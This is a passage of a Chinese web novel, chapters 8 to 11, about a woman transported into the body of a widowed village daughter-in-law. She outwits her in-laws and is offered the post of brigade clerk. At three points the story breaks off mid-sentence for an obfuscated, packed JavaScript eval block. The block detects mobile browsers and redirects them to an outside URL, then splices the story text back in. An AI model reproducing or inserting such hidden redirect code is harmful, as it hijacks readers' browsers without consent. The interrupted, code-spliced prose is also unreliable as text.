周二柱夸自家闺女:“二丫今天乖啊,饭菜准时不说,连筷子都摆好了。” 周长潇看了一眼沈淑仪,有些别扭地说:“大嫂和我一起弄的。” 陶桂香心里也挺满意的,说:“快吃吧,吃了歇中觉。” 一家人坐下吃饭。 “嗯?今天这个咸菜炖豆腐好吃。”周长淮说,“大嫂,是你烧的啊?” 沈淑仪嗯了一声,没有接话。 周长潇瞥嘴:“大嫂!二哥刚才嘴里含东西说话,你怎么不说他!” “啊?”周长淮不知道发生什么事了。 周长泓捞了一块豆腐,吃过后也夸:“确实好吃,大嫂手艺变好了嘛!”他看向沈淑仪,沈淑仪微微垂着头吃饭,不朝看他。周长泓觉得大嫂吃饭的样子,真的很斯文,和从前跟本不一样。 “还有三哥也边吃东西边说话,大嫂你也不说他!你就知道欺负我!”周长潇仗着现在爸妈都在家,非要把这个状给告了。 “行了,你快吃吧。吃饭是不要说话,人家大户人家都是这个规矩。”周二柱说。 “爸!”周长潇气死了。 周二柱没理他,陶桂香也没吱声,一家子都埋头吃饭,不再说话。 沈淑仪满意了…… 吃过午饭,上午上工的人都可以去午休,碗筷还是由周长潇和沈淑仪收拾。 但周长潇早就跑回房,跟她妈撒娇去了。 “妈,大嫂现在变得好吓人啊!”周长潇说,“眼神看人凶得很,而且规矩特别多!大嫂是不是被水鬼上身了啊?” “别胡说八道!哪来的水鬼!” “真的!大嫂和以前真的不一样了!”周长潇说。 “你大哥走了,她受刺激了,有些改变也正常。”陶桂香说。 “我就觉得她被水鬼上身了!” “你再瞎说,被外人听去,说你搞封建迷信,把你送去劳改!” 周长潇不敢说了,自己和自己生闷气。 堂屋里,别人都回房了,只有周长泓留下来,默不作声陪沈淑仪收拾碗筷,又和她一起端着脏碗去了厨房…… 8. 第 8 章 周长泓走在沈淑仪后面,觉得她走路的姿势都不一样了,也是奇怪,家里旁人就看不出来,眼前这个大嫂和之前变化太大么? 沈淑仪进厨房,把脏碗放进锅里,又从水缸舀水倒进锅中。周长泓跟着进厨房,把碗放进锅之后没有走,站在厨房门口看着沈淑仪。 沈淑仪舀好水后,没有洗碗,转身准备离开厨房,看见周长泓堵在厨房门口,淡淡说:“你有事?” “没事,看看。”周长泓嬉皮笑脸地说。 沈淑仪不喜欢周长泓这样吊儿郎当的人,这要是在她那个时代,他活脱就一个纨绔,用这个时代的话来说,像个小流氓。 “没事把碗洗了。”沈淑仪说。 周长泓一愣,他就看看,怎么还支使他干活了? “我不会洗,妈都没让我洗过。”周长泓说。 “那你可真没用。”沈淑仪不客气地说,“反正你现在没事,就学吧,把锅碗都洗了。” “你教我?”周长泓说。 “行,你站到锅台前。”沈淑仪手一指。 周长泓还真的走到锅台前,他想看沈淑仪怎么教自己洗碗。谁知,他刚把门让出来,沈淑仪就走了,压根没准备教他。 “你耍我!”周长泓追出去。 “怎么,还真要我教,真的有人笨到二十了还不会洗碗?”沈淑仪不管周长泓,径直朝自己房间走去。 “抢你一个番茄,气性这么大啊!”周长泓说。 沈淑仪没理他,回自己房间去。家里人都在午休,周长泓也不敢缠着沈淑仪,哼了一声自己回房了。 周长泓回房后,想想有些生气,大嫂对家里旁人都是连哄带骗的,怎么对他就这么凶?难道这个家里,她就对自己毫不在意? 沈淑仪回房后也午休了,这时候,整个大圩大队的人大多数都在午休。 下午,大队里催上工的喇叭声响起,沈淑仪被吵醒。她来到外间,周家人除了周长潇不在,都在喝凉茶,讨论着公社要搞大包干的事。 见沈淑仪出来,陶桂香就没好气地说:“老大家的,夏天热,不要把碗堆着,容易遭苍蝇,顺手洗掉的事,就你懒,放锅里准备等谁洗!” 周长潇告了沈淑仪一堆状,陶桂香护短,当然要找机会说沈淑仪。加上今天二儿媳妇说的,沈淑仪现在不敢回娘家,对老大又痴情,在这儿也没有孩子傍身,将来还是要靠他们周家过活,心里觉得还是能拿捏她,说话就不客气了。 沈淑仪每次睡醒心情都不太好,因为每次临睡前,她都想着自己说不定睡一觉又能回去了,但醒来还在这穷地方,心情怎么好得起来。 陶桂香正好撞沈淑仪枪口上了,她话音刚落,本来就板着脸的沈淑仪,脸色更加阴沉。 周长泓看着沈淑仪黑着脸朝他妈走去,心道不好,他怕大嫂发飙,忙说:“妈,中午我说要学洗的,后来忘了洗,不怪大嫂。” 周长泓一开口,周家人都有些吃惊。 “你没事洗什么碗,上午拉碾子胳膊不累啊!”陶桂香气道。 “这不是上午听二牛说的么,他舅家表哥因为不会洗碗,黄了一门亲,我想着自己好像也不会,就想学学。”周长泓说着瞥了一眼沈淑仪,见她没准备发作,心里松了口气。今天中午也怪他跟着她,她才没洗碗的…… 沈淑仪走到桌边,倒了一杯凉茶,自己喝了一口,皱眉嫌弃,没看周长泓,也没理任何人。 陶桂香听了儿子这话,脸色缓和不少:“算你有心,等夏收过了,妈再替你寻摸一个好姑娘。” “不着急,不着急。”周长泓又说。 周家人喝完凉茶就一起去上工了,陶桂香临走前想盯着沈淑仪不要偷懒,对上沈淑仪冷冰冰的眼神后,心里一怵。突然想起闺女说的,儿媳妇被水鬼上身了……她没敢吱声。 周家人都去上工后,沈淑仪也出门了,她去了大队部。 沈淑仪找到大队部办公室,这会儿只有一个人,正在埋头算账,看见他的脸后,沈淑仪和心里的人对上号,喊了一声:“朱会计。” “哦,长海家的,你怎么来了,有事吗?”老会计朱学勤抬头问。 沈淑仪走到朱学勤跟前,看看他正在算东西说:“朱会计算账呢,遇到麻烦了?” “呵呵,没什么麻烦,你什么事,说事就行了。”朱学勤心说,跟你说也说不明白。 “我想借些旧报纸回去。”沈淑仪说。 “报纸啊,是借回去看,还是拿回去剪鞋样子哦?借去看、认字可以,剪鞋样子可不行。”朱学勤说。 “看,会计要是不放心,我在这儿看会儿也行。”沈淑仪说。 朱学勤想想说:“那你还是在这儿看吧。” “谢谢朱会计。”沈淑仪说。 朱学勤从他自己书桌抽屉里拿了一沓报纸给沈淑仪:“喏,你看吧,遇到不懂的,可以问我。” “谢谢,那能再跟您借支铅笔,借两张草稿纸吗?”沈淑仪又说。 “你要学写字啊?”朱学勤笑笑,“爱学习是好事,我借给你。”学习了,脑子就不乱想了,朱学勤知道沈淑仪前几天投河自尽的事,觉得这闺女太傻了,学习学习知识,以后肯定不会再做傻事。 沈淑仪拿到一沓报纸,一根铅笔,两张草稿纸,坐在一张空办公桌前,开始边看边记录。 朱学勤见沈淑仪看得认真,也没管她,继续算账。 沈淑仪虽然有原主的记忆,也知道书中世界的大概剧情,但是对这个世界的了解还是太模糊,她必须要知道更多的信息,以后才能更好地走下去。 她来这,可不能光在这小村子里吃糠咽菜,她过惯了好日子,让她天天吃这种饭,喝那种茶,她可过不下去。 原书中,窦海云和周长清是靠卖蔬菜开始起家的,这个她也做不来,她得自己找路走。找出路的前提是,她得对这个世界,特别这个世界的政策,有足够的了解。 沈淑仪看报纸看得入迷,一旁的草稿纸上记了不少东西。 朱学勤算着账,越算心越凉,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364059|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年他们大队恐怕还是不能还清欠国家的债。他昨天到田头看了,今年冬小麦和油菜籽的产量都不高,连当年的粮都未必够交,更别说还往年的债了。 朱学勤叹气,也不知道如果真搞大包干,会不会扭转局面。听说那些搞大包干的公社,产量都提高了,老百姓日子明显好转……但是真的能搞吗?到底算不算搞资本主义,要是政策再变的话…… 朱学勤年纪大了,坐久了感觉身子僵得很,他起来活动筋骨,扭腰的时候,看见沈淑仪坐得端端正正,正在写字。 他走过去一看,惊呆了:“哎呀,闺女,字这么好啊!” 沈淑仪笑笑:“一般吧。” “哎哟,谦虚了、谦虚了。”朱学勤拿起沈淑仪的一张稿纸,发现她记录的都是一些国家政策,时政新闻,一条条写得工工整整,一手小楷漂亮得不得了,像是印刷出来的。 “有功底!会写毛笔字吧?”朱学勤问。 “嗯,稍微会点。”沈淑仪点头。 “哦,我想起来了,你娘家是二圩沈家,靠三丘近。”朱学勤说,“你家组上还开过私塾,难怪难怪。” 沈淑仪笑笑,默认了。 “蛮好,蛮好,对了,你要不要在大队里当个文书,负责抄抄写写。”朱学勤问。 “我可以吗?”沈淑仪问。 “怎么不可以!就你这字,整个公社怕也找不到更好的了!”朱学勤说,“我们队里本来的文书是先前下放的知青,月头返城了,队里找了两个都不行,我们这正缺个人呢,不过工分不高,事情不少,你愿意做的话,我就和书记说一声,对了算盘会打吗?” “会。”沈淑仪说。 “那更好了。”朱学勤高兴得很,“那我们说好了。” “好,谢谢朱会计。”沈淑仪当然要答应了。 朱学勤又看看沈淑仪做的摘抄:“好,真好!你这草稿就留下,等下我给书记看!我是真不知道,我们大圩还藏着能人呢!” 沈淑仪笑笑:“您过奖了。” “来来来,我再考考你珠算。”朱学勤说着把自己桌上的算盘拿过来,又随手给沈淑仪出了几道算数题。 沈淑仪熟练地拨着算盘珠子,很快就把答案算出来了。 朱学勤对沈淑仪那是一百个满意,又连夸了她好几句。 沈淑仪又看了会儿报纸,听朱学勤和她交代了一下工作内容,天色渐黑,沈淑仪才离开大队部回家去。 沈淑仪走到半路,迎面看见周长泓。 “你去哪儿了!”周长泓跑到沈淑仪面前问。 “大队部。”沈淑仪说。 “去大队部干什么?“周长泓追问,“你人走也不说一声,不知道家里人担心吗?” “谁但心?”沈淑仪问,她不觉得周家有谁真的担心她。 “我担心!行了吧!”周长泓听她说话淡淡的,心里起了火,脱口而出。 沈淑仪扭头看了一眼周长泓,这小叔子,太没规矩了,跟长嫂这胡说八道什么呢! 9. 第 9 章 沈淑仪一路没和周长泓说话,而且离得他远远的。 周长泓看到沈淑仪那嫌弃的眼神,心里更来火,他不过是话赶话随口一说,看她那嫌弃的样子,好像自己真成了打嫂子注意的混蛋!他是那种人吗? 两人前后脚到家,沈淑仪脚一跨进院门,就听陶桂香劈头骂过来:“你死哪去了!还知道回来啊!家里事半点不问,你再敢这样就给我滚回沈家去!” 陶桂香一放工回来,就听闺女告状,说大嫂下午半天没见人,中午的碗没都没洗,家里所有的事都是她做的,晚饭也全是她一个人烧的。 陶桂香听了那还得了!立时气不打一处来。 沈淑仪得了工作,本来心情还不错,被陶桂香这么劈头盖脸一骂,立马冷下脸。 陶桂香虽然怵沈淑仪黑脸,但还是觉得二儿媳妇说得对,大儿媳妇一个娘家也回不得的寡妇,以后全靠他们,她还能翻出天去!成天和婆婆黑脸,也是她做儿媳妇的不孝! “早上跟你说的,你又忘了?又开始对我大呼小叫。”沈淑仪声音倒是不大,但就是透着威严。 “你厉害!都敢教训起婆婆来了!”陶桂香喊得更响。 “把我丈夫抚恤金还给我,我回沈家。”沈淑仪冷脸开口。 一提抚恤金,周家人都开始紧张起来,孙巧梅也有点后悔,早知道不在婆婆跟前挑事的……她就是看大嫂没上工,心里不平衡,才多挑了几句。她忙上前说:“大嫂,妈就是担心你,心直口快了些,你别忘心里去。” 沈淑仪瞥一眼孙巧梅,孙巧梅有点心虚地低头,她觉得大嫂的眼神好像能洞穿人心。 周二柱也从屋里出来:“进来吃晚饭了,吵什么呢,桂香你也是,说话就好好说,不要老吵吵。” 陶桂香被“抚恤金”三个人按住了命门,不敢再吵。 沈淑仪自己打水洗手,周家人都先回堂屋去了。 周二柱小声呵斥陶桂香:“你干什么又惹她,抚恤金这事要是闹出去,跑不了要打一场架!我们家到时候又是落后分子。” “钱在我口袋,他们家有本事来偷,来抢!”陶桂香气道,“难不成我为这五百块钱,天天被她压一头啊!” “她什么时候要压你一头了!”周二柱说,“你好好的,不惹她,她能这样?你好好问问她,说不定她出去真有事呢,她一回来你就骂!” “我看你蛮会说现成话的!”陶桂香又把枪口对准周二柱。 “吃饭了,吃饭了。”周长淮在旁打圆场。 沈淑仪洗好手,回到堂屋,一家子已经坐下,还没动筷子。 “大嫂,快坐下吃饭吧。”周长淮笑着招呼了一声,他是最怕抚恤金的事闹出去的,他的二百五十块还没拿到呢。 沈淑仪走到桌边坐下,今天又是菜汤和杂粮馒头,一个清汤寡水,一个粗粝难咽。吃这种东西,过这种日子,还有功夫吵来吵去,勾心斗角,真是闲得慌。 孙巧梅照例要给各人盛汤,沈淑仪抬眼看她,说:“你等一下,我有话要说。” 孙巧梅不敢动了,把汤勺又放回钢精锅,低头坐了回去。 周二柱说:“老大媳妇,你妈有口无心,不要往心里去,你才出了那事,她真就是担心你。” 沈淑仪望向陶桂香:“是担心我吗?” 周二柱在桌底下踢了陶桂香一脚。 陶桂香只好说:“嗯。” 沈淑仪并不买账:“要把我赶回沈家,也是有口无心?我以为那天晚上说了那么多,跟你们已经达成共识了,看样子是没有。要赶我走可以,我丈夫的抚恤金给我一半,我现在就走。” “凭什么!”周长潇小声嘀咕。 “就凭他是我丈夫,谁不服可以到公社去,请人断一断,看看着抚恤金,我能不能分。”沈淑仪不紧不慢地说。 周长淮急了:“大嫂,妈真的就是随口一说,她也老这么骂我呢。” “对对对,也这么骂过我,要把我赶回孙家。”孙巧梅忙也说,她心里真的后悔了,没想到大嫂这么硬气,真的要回去,不是说要为大哥守节么,怎么这就…… 陶桂香也没想到,沈淑仪是一句重话听不得,一下子都不给她拿捏,以前还不这样呢。现在一家子都等她表态,她心里气,但也只能先忍着。 “我下回不说了。”陶桂香耐着怒火说。 沈淑仪缓缓点点头:“嗯,我相信妈,下次再说,抚恤金就分我六成,我立马就走。” “好了,好了,你妈知道了。”周二柱心里其实也不痛快,谁希望被儿媳妇压一头,但抚恤金这事,真的不能闹出去。 “我话说完了,吃饭吧。” 一家子,等沈淑仪开口,才又开始吃饭。 周长泓一直沉着脸看沈淑仪,这个三丘的“寡妇鬼”占了她大嫂的身子,还真想控制他们全家人了。前几天他只想先看个热闹,想看她到底想怎么样,没想到这个“寡妇鬼”认真要操控起他们一家人了。 周长泓在河里捞沈淑仪的时候,就已经觉得不对劲。那天周长泓下河捞人,捞到她的时候,他很确定她已经断气了,完全感觉不到呼吸和脉搏。但在他抱着她回岸边的途中,她突然挣扎一下,竟然一下又有气了,还说了好几句奇奇怪怪的话。后来她醒了,又说什么“聒噪,住口”这种乡下人一辈子都不会说的话,他就更确定,自己的大嫂被孤魂野鬼给上身了。 当时沈淑仪正好被水流漂到三丘附近,周长泓便怀疑,是三丘那边的“寡妇鬼”上了他大嫂身。 三丘过去是大地主佟家的祖宅,古时候佟家当兵的多,当了兵一去不返的也多,就留下很多寡妇,后来为了褒奖这些寡妇,给立了不少贞节牌坊。革命时期,这些贞节牌坊被当地的女民兵给摧毁了。贞节牌坊没了,寡妇们的坟却一直都在三丘。 加上这几天的观察,周长泓觉得自己的猜测八、九不离十,上他大嫂身的肯定是个“寡妇鬼”。周长泓想,不能看自己一家子真被她拿捏,他也要给她点颜色瞧瞧,叫她知道这个家里,已经有人发现她的秘密! 一家子默默吃晚饭,没一个人说话,沈淑仪对此很满意。 吃过晚饭,孙巧梅主动说她去洗碗。 活有人干就行,陶桂香也没说什么。 就在这会儿,院门被敲响了,外头有人喊:“二柱哥,在家吗?” “哎哟,好像刘支书的声音啊?”周二柱忙去开门。 周长泓想着沈淑仪今天去大队部了,又看了她一眼,只见她四平八稳地坐着,脸上没有表情。 周二柱跑出堂屋两步,回头喊一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364060|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拉电灯。” 周长淮去把电灯拉亮,又催自家媳妇:“你快点收拾,收好了去泡茶。” “知道了。”孙巧梅觉得自己命真苦…… 周二柱开了门,只见门口站着两个人,大队书记刘国栋和大队会计朱学勤。 “哎哟,刘支书、朱会计,什么风把你们二位吹来了,快请进。”周二柱热情地招呼两人。 刘国栋和朱学勤笑呵呵地进了周家院门。 “一桩好事。”朱学勤笑呵呵地说,“你家晚饭吃过了么?” “刚吃好,两位吃了吗?”周二柱说。 “吃了吃了。”朱学勤说。 进了周家堂屋,沈淑仪和周家人都起身相迎。 刘国栋进堂屋就看了眼沈淑仪,瘦瘦窕窕,细眉细眼,一看就是个没福气的,不能干活,但确实有几分书生气,像个才女样。 “快请坐。”陶桂香笑着招呼,“我去倒茶。” “嫂子不要忙,不吃茶,就说个事。”刘国栋说。 “那坐下说。”周二柱又说。 刘国栋把手上的纸放到桌上,推到沈淑仪面前:“沈同志,你也请坐。” 周家人都朝沈淑仪看,沈淑仪落了座,把纸接过来,按在手下。 “沈同志,你的字我看到了,你的情况朱会计也和我说了,我们大队部的人都同意,你到我们大队部当文书。”刘国栋说。 周家人全都傻眼了,怎么沈淑仪出去半天回来,还能捞个文书当了? 陶桂香说:“刘支书,你没弄错吧?是我们家大儿媳妇吗?” “是啊,你们都还不知道?”刘国栋诧异。 “看样子沈同志要给你们一个惊喜呢。”朱学勤说。 “哎哟,真是桩好事。”周二柱眼睛都笑眯起来了。 沈淑仪还是四平八稳的,脸上还是没什么表情,好像说的不是她的事一样。 朱学勤说:“你们家也是,把个能人藏得这么深,上次队里选文书,都没替她报名。” 周家人也不知道沈淑仪有这个本事啊…… “那、那是直接选定,还是要走流程,选举还是考试?”周二柱问。 “要走个简单流程。”刘国栋说,“也就走个过场,上次选过了,选上的两个都比不上沈同志,但要服众,还是走流程。” “好好好,应该的。”周二柱说。 “明早,我会在大喇叭上喊一声,到时候沈同志去考试就行了。”刘国栋说。 “好,我知道了。”沈淑仪应下。 两位领导果真没喝一口茶就离开了,周二柱送走领导,就差没一蹦三跳回到堂屋。 “大嫂,你真这么厉害,去一下大队部就能当文书了?”周长潇心里酸得不行,上次报名考文书,她也去了,结果当然没选上。 她走到沈淑仪身边,眼疾手快,从沈淑仪手上抢下了那几张草稿纸。 周长潇一看纸上的字,眼睛瞪溜圆:“大嫂,这真是你写的字啊? 周家人都凑过去看,全都看傻了眼,原来他们家真的藏了个这么厉害的人物?这字写得也太好了。 只有周长泓最清楚不过,根本不是原来大嫂的本事,是三丘的“寡妇鬼”有本事!她从前肯定是地主家的小姐,能没本事吗! 10. 第 10 章 周家人一派喜气洋洋,虽然文书不是个官,但也是进大队部了,以后有什么新政策,内部消息,肯定比旁人先知道。 陶桂香笑容满面,面对沈淑仪完全换了副嘴脸:“哎呀,淑仪你也是的,去大队部找工作,你也跟妈说一声,不是叫妈白担心你了。” 沈淑仪神色如常,完全没有“沉冤得雪”后的趾高气昂,语气反而有几分温柔:“所以,我说,不要动不动就生气,就发火,妈你这回记住了吗?” 陶桂香连连点头:“记住了,真记住了,下回再也不了。” 周长泓心里哼一声,她还真是时时刻刻不忘拿捏他家人。不过他妈确实太容易冲动,动不动就发火,要是这毛病真的能改了,倒也不是坏事。 “大嫂,你字这么好,以前怎么不说啊。”孙巧梅问。 “这有什么好说的,家里也没什么机会让我写字。”沈淑仪说。 周二柱对孙巧梅说:“你大嫂家祖上出过私塾先生呢。” “难怪。”孙巧梅觉得这下说得通了,不过私塾先生成分会不会不太好?不过这话这时候她不敢说,一家子正高兴呢,她可不能说。 “你快去把碗洗了吧。”周长淮催孙巧梅。 孙巧梅嗯了一声,心里虽然不太高兴,还是端着碗筷去厨房了。 周长潇突然眼珠子一转,说:“大嫂,你能不能教我练字啊?” “能。”沈淑仪干脆地答应了。 “真的?大嫂你真好!”周长潇想着自己天天和大嫂作对,她会拿乔不教自己呢,没想到这么干脆。 “妈,你给我一块钱,我去买本子和笔。”周长潇朝陶桂香伸手。 “哪就要一块钱了!”陶桂香打她手。 “就给我一块钱嘛!”周长潇拉着陶桂香的手撒娇。 陶桂香到底没给周长潇钱,只说把本子和笔买好给她。 周长潇也只能认了,她妈到底有多抠门,她最知道! 沈淑仪要到大队部当文书,陶桂香不想赶沈淑仪走了,又开始担心她主动要走。 老两口子睡下后,陶桂香说:“他爸,老沈家要是知道老大家的到村里当文书了,会不会又要想办法把她接回去啊。” “老大家的不会走的,而且她当文书,是当我们大圩大队的文书,就更不会回沈家了,沈家在二圩,又不是一个大队的。”周二柱一点都不担心。 “也是,不过老大家的怎么还有这个本事,朱会计还说她算盘打得也好,之前真是一点都不知道啊。”陶桂香说。 “以前她有长海这个指望呢,现在没指望了,还不拿出浑身本事,在这个家站住脚啊。”周二柱说。 “对对,还是你看得清。”陶桂香叹口气,“要是长海还在多好啊……小两口肯定能把日子过好的。” “不说这话了,你以后也不要动不动要辇媳妇走。”周二柱也叹气,两口子已经不知道晚上哭过多少回,叹过多少气了,但日子还是要过,家里还有两个儿子、一个闺女呢。 第二天一早,大队的大喇叭在放过催上工的进行曲之后,刘支书播报了重找文书的事,考试时间定在下午上工前。 周家人吃早饭前,周二柱说:“你们到外头,先不要说你们大嫂的事。” “知道。”周长淮说。 周长潇一早又跟她妈吵着要笔和本子,陶桂香也是惯女儿的,一大早去供销社打酱油的时候,已经给她买好了。 陶桂香把笔和本子给周长潇,小声说:“你跟你大嫂好好学,到时候也到大队当文书。” “知道了,知道了。”周长潇连连点头,拿着本子和笔开心得很。 周家该上工的人都上工了,家里又剩下沈淑仪和周长潇姑嫂俩。 周长潇主动把碗洗了,院子打扫了,然后来找沈淑仪学写字。 沈淑仪来到堂屋,坐在八仙桌旁,周长潇站在她面前。 “你先写几个字我看看水平。”沈淑仪说。 周长潇写了几个字,沈淑仪一看,眉头微皱,这是十六岁的人能写出来的字? 周长潇脸一红:“就是写得不好,才要跟大嫂学嘛!” 沈淑仪点点头:“你为什么想学写字?”现在又不是她那个年代,大家闺秀学琴棋书画。现在这个时代,不管男女,都是学能挣钱养家的手艺,像学个裁缝、学个木匠之类。 周长潇脸更红了,眼神闪躲:“我就想学,写字好看,不是人人都夸,大嫂不也是写字好看,才当上文书的。” 沈淑仪见周长潇这副模样,又想起书中剧情,意味深长地哦了一声,然后说:“你想写情书给心上人。” 周长潇急得要来捂沈淑仪的嘴,她这一举动,更是坐实了沈淑仪的猜测。 “你不许跟妈说!”周长潇急得跳脚。 “那你以后要听我话。”沈淑仪说。 “行行行!”周长潇可不敢让她妈知道,她有喜欢的人了,尤其还是队里最穷的几家之一,妈要是知道,肯定要把她腿打断,“你保证不和妈说!” “我保证不说,但是你自己露馅,可不怪我。”沈淑仪说。 “我才不会!”周长潇说,“反正你现在知道了,我就是想把字写好看点……他、还读书呢,成绩好,写字也好。” “我知道了,我给你写几个样子,你先照着写吧。”沈淑仪拿过本子,在本子上写下了周长潇的名字,又写下胜利公社,大圩大队几个字。 周长潇拿过本子和笔开始写,沈淑仪就在旁看着她。 “握笔不要太用力了,不然等下手酸,铅笔也容易断。” “坐直了,人歪了,等下字也歪。” 沈淑仪的声音威严中带着温和,周长潇不禁心里感慨,大嫂人其实还挺好的,之前和自己不对付,也是因为自己老拿吴知青来刺激她。现在大哥没了,大嫂还愿意为大哥守节,这样痴情的女人可不多见了。 周长潇决定以后不和大嫂对着干了。 “你心上人,在哪里读书?”沈书仪问。 “在县里读高中,成绩可好了。”周长潇的语气里的骄傲劲儿,好像对方已经是她男朋友,但沈淑仪知道,其实人家不喜欢她,喜欢的是周三柱家的周长洁,人家两个还是同学。 “他也喜欢你吗?”沈淑仪问。 “大嫂,你不要打扰我发挥!我都写歪了。” “哦~不喜欢。”沈淑仪淡淡说。 周长潇瘪嘴:“他会喜欢的!” 沈淑仪没再说什么,周长潇平时咋咋呼呼,写起字来,还挺耐得住性子,大概是太想给心上人写情书了。 等她写满两张纸,沈淑仪又一个字一个字给她讲,差在哪儿,该怎么改正。周长潇见大嫂这么有耐心,心里还挺感动。 到了烧午饭的时候,周长潇很自觉地干了更多活,只让沈淑仪最后掌勺,别的事都是她包揽了。 沈淑仪对周长潇的表现也很满意,觉得孺子可教。 还没到放工时分,周长泓第一个跑了回来。他到堂屋,看见了周长潇的字,上面还有沈淑仪为她修改的痕迹,看得出来,这个“寡妇鬼”教得挺认真。 周长潇不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364061|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得想,三丘那边那么多寡妇坟,也不知道哪个里面埋的是原来的她。有机会,他问一问…… “三哥!我写得好不好!”周长潇端着炒好的菜过来问。 “一般般,不过有进步。“周长泓说。 ”大嫂说了,我进步很快!很有天赋!”周长潇得意说。 “哟,这声大嫂叫得这么甜啊,你不是最讨厌她嘛!”周长泓逗她。 “那是从前!现在她是我的好大嫂,好老师!”周长潇说完,昂首挺胸回厨房。 周长泓啧了一声,那女人,真是连哄带骗有一手!他要是再不出手,这个家早晚全要被她拿捏。 周长泓追到厨房去,只见沈淑仪正用锅铲尖尖,铲了一块炒鸡蛋,放在嘴边吹过后,去喂给周长潇,还叫她小心烫,周长潇眼睛都笑眯了,吃完就夸好吃。 她就是这么哄小妹的吗?就小妹那个脑子,禁得住她几下哄? 周长泓默不作声离开厨房,他有点弄不懂的是,她哄骗他们一家人,控制他们一家人,到底想干嘛?就他几天看下来,她应该没有什么非人类的能力,该吃吃,该睡睡,晚上也没有出来害人…… 周家人放工到家了,周长潇连忙把自己早上写的字给爸妈看,得到夸奖后,周长潇把沈淑仪夸了一通,说都是大嫂有耐心,教得好。 一家人看起来其乐融融,只有周长泓忧心忡忡。 午饭后,沈淑仪稍作休息就去大队部参加考试,周长潇吵着要她一起去,沈淑仪就把她带上了。 两人走到岔路时,遇上了窦海云。 窦海云主动打了招呼:“周大嫂,长潇,你们也是去大部队吗?” “对啊,你也去考文书?”周长潇轻蔑地说,她本来就不喜欢窦海云,现在她要嫁给周长清,她就更不喜欢了。 “嗯,试试看。”窦海云也知道自己把握不大,但试试也没关系。 “有我大嫂在,你试也别试了,赶紧回家吧,大人的天,太阳怪晒的,别浪费时间了。”周长潇说。 窦海云有点尴尬地看着沈淑仪,想让沈淑仪开口教训周长潇,沈淑仪当然不会这么做。 窦海云只好快步走开了,心里后悔和她们搭腔。 沈淑仪和周长潇到大队部时,这儿已经有不少人了,都是三十岁以下的青年男女。她们俩一到,就发现所有人都朝她们看了过来。 周长潇有点发怵:“大嫂,他们怎么都看我们啊!” 沈淑仪没说话,只把下巴朝窦海云的方向抬了抬。 周长潇朝窦海云看去,她身边围了不少人,都笑眯眯地和她说话。窦海云在大圩大队人缘还是挺好的。 “她说我们坏话了?”周长潇小声说。 “说不定是说我们好话呢!”沈淑仪说。 周长潇不信,说好话,他们能这么怪怪地朝她们看? 这会儿,同生产队的陈芳过来搭话:“长海家的,你小姑子说有你在,我们都考不上,叫我们赶紧回家呢。” 她这话一说,立刻得到几个人的帮腔,虽然是玩笑口吻,但语气也都不太好。 周长潇刚想开口,被沈淑仪拉了一下手臂,她才没吱声。 沈淑仪笑容浅浅的,语气平和温柔:“小孩子没见过世面,就觉得家里人最好,叫你们见笑了。等下考试,大家让她见见世面,她就知道,什么叫山外有山,人外有人了。” 社员们见沈淑仪挺谦虚客气的,她又是个新寡,也就没再盯着她们。 窦海云朝沈淑仪这边瞥了一眼,对上沈淑仪的目光后,迅速移开了…… 11. 第 11 章 周长潇气鼓鼓:“肯定是窦海云挑拨的!” “你不说那话,她不就没机会挑拨了?”沈淑仪语气没有责怪,只有循循善诱。 “我就是看不惯她那个清高样。”周长潇说,“平时装可怜最有一手,还不是背地里说人。” “嗯,我们长潇比她好,看不惯谁就当面说。”沈淑仪说。 周长潇脸一红:“我以后不那样了。” 两人正说着,刘支书、陈队长、朱会计都来了。他们把大部队办公室门开,青年社员们都涌了进去。 “大热的天,我就不说废话了,直接开始考试。考试呢,就考两样,文化题和数学题。文化题有张试卷,数学题要用珠算,算盘都会吧?笔都带了吧?我喇叭里说过了。”刘国栋说。 “会呢、会呢。” “带了,带了。” 社员们嘴上说着会,其实很多人会的都有限,有的只会背个“一上一,二上二……” 来报名的社员有十几个人,朱会计把他们集中到办公室旁边一间屋子,这里摆着十来张课桌和长凳,平时当会议室用,大队里开党员大会,社员代表大会都在这里。 社员们自行落座,周长潇虽说是陪她大嫂来的,也要了张卷子陪着考了玩,就当是练字。 朱会计发了文化课卷子,很简单,有抄写题,有组词造句,还有一道大题,歌颂社会主义,答题时间半小时。 沈淑仪十来分钟就写好交卷了,朱会计看着她的卷子,满意地直点头。 窦海云是第二个交试卷的,她看到朱会计手边沈淑仪的试卷时,整个人愣住了,这是周大嫂的卷子?她的字也太漂亮了,有她这字在前头,旁人怎么比得过。她本来对自己的字还挺自信呢,上次朱会计还夸过她的字。 